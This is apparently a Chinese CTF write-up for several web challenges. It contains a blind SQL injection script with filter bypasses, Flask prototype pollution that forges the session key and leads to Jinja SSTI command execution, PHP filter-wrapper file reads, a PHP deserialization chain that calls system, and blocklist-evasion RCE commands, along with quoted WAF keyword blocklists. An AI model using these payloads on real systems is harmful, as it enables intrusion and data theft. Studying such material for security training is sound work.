半成品login
尝试弱密码进行登录
admin/admin123,成功登录后台

根据提示这个后台并不能得到有用的信息
尝试进行sql注入随意输入一个账号和密码登录并进行抓包,得到一下的数据包

尝试构造sql注入,发现密码的位置存在sql注入
经过测试发现对单引号和or关键字进行了过滤
单引号可以使用双编码绕过,%2527,or关键字可以使用||进行替换

出入成功,payload为
username=admin&password=1%2527||1=1#
发现是存在回显的,尝试适应oder by语句查看回显的列数
username=admin&password=1%2527oder by 4#
没有回显说明这里存在过滤,先考虑是过滤了空格
username=admin&password=1%2527oder/**/by/**/4#


根据两次回显的不同,确定列数为4
测试发现这里的select关键字也被过滤了,考虑到mysql的特性注入
查看当前的mysql的版本
username=admin&password=1%2537||@@version/**/like/**/%2527%8.%%2527#
等价于
username=admin&password=1'||@@version/**/LIKE/**/'%8.%'#

可以看见登录成功,说明这里使用的就是mysql8的版本
可以利用table注入,但是需要能够利用的表明,这里可以利用一些而系统视图来实现
以下是别人的wp提供的布尔盲注的脚本。
import requests
import time
url = "http://124.71.84.202:10071/login.php"
flagstr = "0123456789:;<=>?@_`abcdefghijklmnopqrstuvwxyz{|}~"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
tempstr = ""
flag = ""
for i in range(1, 15):
for idx in range(len(flagstr)): # 使用索引遍历
x = flagstr[idx] # 获取当前字符
prefix = tempstr + x
# Payload templates
payload1 = "1%27/**/||(%27{}%27,%271%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr+x)
# 获得数据库名: hnctfweb
payload2 = "1%27/**/||(%27hnctfweb%27,%27{}%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr+x)
# 获得表名: hnctfuser
payload3 = "1%27/**/||(%27{}%27,%27%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
# 获得第一列id值: 1
payload4 = "1%27/**/||(%271%27,%27{}%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr+x)
# 获得第二列username值: admin
payload5 = "1%27/**/||(%271%27,%27admin%27,%27{}%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
# 获得第三列password值: admin123
payload6 = "1%27/**/||(%271%27,%27admin%27,%27admin123%27,%27{}%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
# 获得第四列值: noflaginhere
payload7 = "1%27/**/||(%27{}%27,%271%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
# 获得第一列id值: 2
payload8 = "1%27/**/||(%272%27,%27{}%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
# 获得需要的关键用户名: hacker*****
payload9 = "1%27/**/||(%272%27,%27hackerohtii%27,%27{}%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
data = {
"username": "admin",
"password": payload9
}
res = requests.post(url=url, data=data, allow_redirects=False, headers=headers)
if "登陆成功" in res.text:
continue
elif "错误" in res.text:
current_char = flagstr[idx - 1]
if current_char == '~':
print("遇到 ~,提前终止,请确认数据是否正确。")
break
tempstr += current_char
flag = tempstr
print(f"当前结果: {flag}")
break
print(f"最终结果: {flag}")
下面是对payload的解析
这里table注入利用的表是sys.schema_tables_with_full_table_scans,这个系统视图的数据第一行包含了数据库名和表名
首先是payload1
从左到右循环字符来匹配sys.schema_tables_with_full_table_scans视图表的第一行的数据,首先匹配的就是数据库名
payload2
完成了第一个数据的匹配之后,即确定了数据库名之后进行匹配表名
payload3
成功得到表名之后就可以直接使用table查询表的内容,首先仍然是匹配第一行的第一个数据
接下来就是获取全部的对应表中的第一行的数据,发现没有有价值的信息,接下来在table注入的操作中引入一个新的关键字offset,他的作用主要是跳过第一行的数据,直接查看第二行的数据并进行匹配。
还有一个要注意的点就是于PerformanceSchema的机制限制,我们需要现在系统真正的运行一次sql查询才会触发Performance Schema的数据刷新机制,才会在sys.schema_tables_with_full_table_scans视图上面留下需要的信息。
奇怪的咖啡店
f12发现给了源码,发现源码是python写的
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时⽆法购买,请稍后再试!</p>'
products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
# 检测添加的商品是否合法
return "该商品违规,⽆法上传"
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return "添加失败1"
merge(json_data, add)
return "你⽆法添加商品哦"
发现了merge()函数
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
这是很容易联想到原型污染的一个函数,无论是JavaScript还是python
找一下merge函数的触发点
merge(json_data, add)
@app.route(‘/add’, methods=[‘POST’, ‘GET’])定义了路由在/add下面
raw_data = request.data.decode('utf-8') # 用户直接控制的输入
json_data = json.loads(raw_data) # 解析为字典
发现json_data完全可控
if check(raw_data):
# 检测添加的商品是否合法
return "该商品违规,⽆法上传"
这里存在一个check,但是不知道check的是什么内容,可能是给的源码不完整的原因
f12还可以看到图片的位置是在/static/img,图片作为静态文件是从static 文件夹提供,实际路径由 app._static_folder 属性决定,默认值为 "static"
payload的分析(这是污染静态路由的操作),目的是当前的目录跳转到根目录,从而得到完整的源代码
{
"__globals__": {
"app": {
"_static_folder": "./"
}
}
}
首先打开/add路由,这是一个添加商品的页面,根据上面已知的源代码分析下可以得知这里传参的方式是POST传参

可以看到这里通过JSON.loads()解析的数据,所以POST传参payload的时候就需要设置 Content-Type: application/json 请求头


说明是被check过滤了,尝试编码(utf-16的\u形式)绕过
这样的编码通常应用于在JSON中表示非ascii码的字符
Unicode 转换器 - Unicode、UTF-16、UTF-8、UTF-32、百分比、Base64 和十进制转换器
{
"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {
"\u0061\u0070\u0070": {
"\u005f\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002e\u002f"
}
}
}

我以为是污染失败了呢,但是尝试直接访问/static/app.py又得到了源码
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return "添加失败1"
merge(json_data, add)
return "你无法添加商品哦"
except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"
if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'
upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)
param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True
# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)
def check1(value):
if is_automated_request():
print("Automated tool detected")
return True
# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True
return False
app.run(host="0.0.0.0",port=5014)
直到看到源码中的对POST上传的参数的检测中的代码块

原来即使是污染成功了也会返回这句话
分析上面的源码,发现还存在一个/aaadminnn路由

他会判断session中是的name是不是等于admin并且检验当前的permission是不是不为0
这里还需要伪造session可以通过污染密钥,permission可以通过ssti更改权限,原因是
permission = session.get('permission')
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)
permission的值使通过session.get()获得的,水命permission的值完全可控,而且不存在任何过滤,并且他直接拼接到了字符串中并且通过render_template_string()来进行渲染。
接下来主要的流程就是通过密钥的污染使permission可以使用被污染的密钥进行SSTI
{
"__globals__": {
"app": {
"config": {}
}
},
"SECRET_KEY": "123"
}
同样进行编码
{
"__\u0067\u006c\u006f\u0062\u0061\u006c\u0073__" : {
"\u0061\u0070\u0070" : {
"\u0063\u006f\u006e\u0066\u0069\u0067" : {
"\u0053ECRET_KEY" :"123"
}
}
}
}
成功污染密钥为p
下面是打通的ssti的利用链
{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls").read()}}
self.init.__globals__用于获取当前对象的全局命名空间,__builtins__ - 这是 Python 的一个内置模块,包含所有内置函数,接着使用import函数导入os模块,再调用os模块中的popen()函数,再用popen()函数执行ls命令,.read() - 读取命令执行的结果
这里先要利用一个工具脚本对原本的session进行解密
项目地址:https://github.com/noraj/flask-session-cookie-manager

python flask_session_cookie_manager3.py decode -s "123" -c "eyJuYW1lIjoiY3VzdG9tZXIiLCJwZXJtaXNzaW9uIjowfQ.aEbpMQ.RzfFYnE7I6sqBcZW2R1PfAxTepk"
带着解密的session通过GET方式访问

得到flag的位置在4flloog中

python flask_session_cookie_manager3.py encode -s "123" -t "{'name':'admin','permission':'{{self.__init__.__globals__.__builtins__[\"__import__\"](\"os\").popen(\"cat 4flloog\").read()}}'}"

使用上面的session访问即可得到flag。
DeceptiFlag
f12查看元素

发现有一个隐藏输入框的部分试着删除上面的部分,得到另外的一个输入框,根据背景图的提示可以输入和题目提供的hint可以输入xiyangyang和huitailang

发现上面有一个?file=flag,尝试删除file参数的参数值,发现会报错,分析一下报错内容
尝试加载(require_once)加载一个.php文件的时候报错了,说明之前的参数值为flag的时候读取的是flag.php文件的内容
在f12查看cookie的时候发现存在一个hint

进行base64解码

说明flag在这个目录的文件夹下面,直接尝试进行读取

可以看到这里阻止了直接从根目录进行文件包含
可以想到使用伪协议来读取文件,这里是对本地的磁盘文件进行读取

进行base-64解码就可以得到flag了
flag{6d4a7988-954c-4f3f-80ec-713823a65376}
ez-php
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>
在反序列化的时候会自动触发destruct()函数进行,destruct()函数可以触发tostring()魔术方法,然后可以触发HeiCaFei下面的__call()魔术方法
这里对post传入的参数进行反序列化之后会抛出一个错误,导致后续的代码无法顺利的执行,就导致反序列化这一操作无法触发destruct()魔术方法。
payload
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~
出发喽!
" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren)
=== md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this
>Bagongren)) ){
echo "success";
call_user_func_array($this->dao, ['
诗⼈我吃!
']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
$a = new GOGOGO();
$b = new DouBao();
$test1 = new Error("payload", 1);$test2 = new Error("payload", 2);
$c1 = new HeiCaFei();
$c2 = new HeiCaFei();
$c2->HongCaFei = "system";
$c1->HongCaFei = [$c2, "cat\${IFS}/of*"];
$b->dao = [$c1, 'test'];
$b->Dagongren = $test1;
$b->Bagongren = $test2;
$a->dengchao = $b;
$pop = array($a, 0);
# str_replace("i:1;i:0;", "i:0;i:0;",
# echo urlencode(serialize($pop));
echo str_replace("i%3A1%3Bi%3A0%3B%7D", "i%3A1%3Bi%3A0%3B",
urlencode(serialize($pop)));
?>
关于以上的payload的解释
首先实例化两个error类然后将上面的两个error类分别赋值给dagongren和bagongren,这样可以使dagonren和bagongren两个对象本身不相等但是在经过__tostring()魔术方法处理之后的结果相等可以绕过哈希。
然后对Heichafei实例化两个对象$c1,$c2,c1将Heichafei类的hongchafei属性设置为system()函数,这样在call()魔术方法被调用的时候就会调用system()函数,将$c1的hongchafei属性设置为一个数组
[$c2, "cat\${IFS}/of*"]在这个对象中对$c2进行了调用,调用之后即为[system, “cat${IFS}/of*”]
在__call()魔术方法被调用的时候就会进行调用。
cat\${IFS}/of*解释:${IFS}这里是空格的作用,反斜杠使防止对空格符号进行转移。
of*是一种模糊的通配符的匹配模式
$b->dao = [$c1, ‘test’];被调用的时候实际调用的是$c1对象中的test()方法,但是$c1对象中没有的test()方法,就会触发__call()魔术方法
将DOUBAO类的实例化的对象赋值给GOGOGO的实例化对象的dengchao属性,可以触发__tostring()魔术方法
定义一个数组$pop = array($a, 0),其中包含两个元素,0的序列化的内容是i:1;i:0;},经过替换之后会删掉最后的}导致序列化的数据不完整,前面的内容仍然能够解析,但是由于不完整又能够触发__destruct()魔术方法,从而能够绕过抛出异常。
使用上面得到的payload成功得到flag

Really_Ez_Rce
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);
if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];
if (preg_match('/\d/', $inputNumber)) {
die("
不⾏不⾏
,
不能这样
");
}
if (intval($inputNumber)) {
echo "OK,
接下来你知道该怎么做吗
";
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|
od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|bas
e|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\
[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "
你传的参数似乎挺正经的
,
放你过去吧
<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}
首先使用正则过滤了数字,使Number参数的参数值不能是数字,intval()函数用于将变量转化为整数类型,用于确保用户输入的值为整数。
这里可以用数组绕过
?Number[]=1
接下来是对POST传参的cmd的值进行的过滤,所有的相关的关键字和通配符,点号等都被过滤了
可以用拼接绕过来查看根目录下面有什么文件
cmd=a=l;b=s;$a$b /
得到根目录下面有一个flag.txt文件
cat 命令也可以通过拼接出来
cmd=a=c;b=a;c=t;d=fl;e=ag;f=tx;g=t;$a$b$c /$d$e.$f$g

可以看到因为文件名中的点号的原因被过滤了,实在是想不到怎么绕过这个点号了,看了大佬的wp发现这里的绕过方式是通过ls和head命令配合使用,如下:
ls -a | head -n 1
首先ls -a会显示当前 目录下面的所有的隐藏文件(包括以点号开头的所有隐藏文件)
head命令用来限制文件名的输出,比如head -n 行数 (只返回前几行)

传ls -a命令可以看到第一个隐藏的文件名就是点号,所以使用head -n 1就可以提取到第一行的文件名(就是点号)
payload
cmd=a=c;b=at;c=f;d=lag;e=t;f=xt;g=l;h=s;i=h;j=ead;k=$($g$h -a | $i$j -n 1);$a$b
/$c$d$k$e$f
管道符的作用是将ls -a 的输出传递给head命令进行处理
括号外的$符号的作用是表示首先执行括号内的命令,然后将输出结果作为字符串替换到当前位置。
